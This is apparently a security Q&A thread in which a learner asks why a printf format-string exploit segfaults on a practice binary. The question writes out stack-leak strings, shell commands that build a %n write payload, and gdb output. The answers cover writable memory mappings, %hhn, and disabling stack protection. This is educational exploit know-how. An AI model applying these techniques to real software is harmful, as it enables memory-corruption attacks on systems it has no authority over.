3

I am trying to learn more about printf vulnerability. I understand the theory but I am unable to put it into practice.

TL;DR

All my attempts to write a single byte into memory result in a Segmentation fault.

What is the most likely reason for the failure? My guess is that it may be some sort of protection in modern compilers/OS (I am running that on 64 bit Ubuntu Xenial), but I don't know much about it.

Details

I am able to read stack. I found that that the call I am trying to exploit puts 6*4 bytes in front of my input:

Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141

I disassembled the binary and found the memory location(s) I want to change. I tried various addresses, both code and data with the same result. For instance, the address of the string Your choice: is 0x0804b795.

$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795:  "Your choice: "

I am able to write that address to the payload:

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out

Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795

Then I replace the last %08x with %n to write into that address. The number of printed chars would be 4 (for the address) + 6 * 8 (padded %x) + 7 (dots) = 59 which puts the value to be written in ASCII range; 59 stands for semicolon - a suitable character to write into a string.

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out

To my best knowledge that should work and I was hoping to see ;our choice prompt on next iteration but I am getting

Your choice: You entered: 

Segmentation fault

To confirm:

$ gdb a.out

(gdb) run < payload

Your choice: You entered:


Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6

(gdb) bt
#0  0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1  0xf7e5df66 in printf () from /lib32/libc.so.6
#2  0x080487b4 in getInput ()
#3  0x0804b206 in programMain ()
#4  0x0804b3b0 in main ()

What am I missing? What else can I check?

vitaly
  • 81
  • 1
  • 7

2 Answers2

2

I recommend you to check if the 0x0804b795 address is writable.

You can see the different regions of a running process in /proc/PID/maps. For example:

$ sleep 10 &
[1] 1438
$ cat /proc/$(pgrep -f 'sleep 10')/maps
08048000-0804d000 r-xp 00000000 08:01 399565     /bin/sleep
0804d000-0804e000 r--p 00005000 08:01 399565     /bin/sleep
0804e000-0804f000 rw-p 00006000 08:01 399565     /bin/sleep
084b4000-084d5000 rw-p 00000000 00:00 0          [heap]
[...]

In this case only the addresses between 0804e000-0804f000 and 084b4000-084d5000 are writable.

Inside GDB, you can use info proc or info inferior to get the PID of the debugged program.

Also, keep in mind that %n will write an integer value, not a single character. I mean, in this case it will write 4 chars (in little-endian). But you can use %hhn to write a single character.

I recommend you to read http://jbremer.org/format-string-vulnerabilities/ and to look at the printf(3) documentation.

zuazo
  • 181
  • 6
  • Thank you, you were spot on: `/proc/9512$ cat maps` `08048000-0804c000 r-xp 00000000 08:00 434 /tmp/a.out` `0804c000-0804e000 rw-p 00003000 08:00 434 /tmp/a.out` `...` Does that mean there is no chance to exploit the string format vulnerability without modifying the binary? There is a writable region with a copy of the code, but I don't think it ever gets executed. – vitaly Oct 01 '16 at 18:49
  • If you need to exploit the binary writing into a region, try to search the writable section to see what it is there. – zuazo Oct 01 '16 at 19:32
1

Try taking a look here: Stack Overflows - Defeating Canaries, ASLR, DEP, NX

It sounds like you might have a stack canary. You would need to specifically compile the target program without stack canary protection. Learn more about how here: https://stackoverflow.com/questions/2340259/how-to-turn-off-gcc-compiler-optimization-to-enable-buffer-overflow

In short you would need to do:

gcc target.c -fno-stack-protector

Also! Make sure your string has a null byte at the end \00 :)

returneax
  • 552
  • 2
  • 8
  • Thanks, that is interesting, but I don't think there is a canary; at least according to r2 analysis. – vitaly Oct 01 '16 at 18:53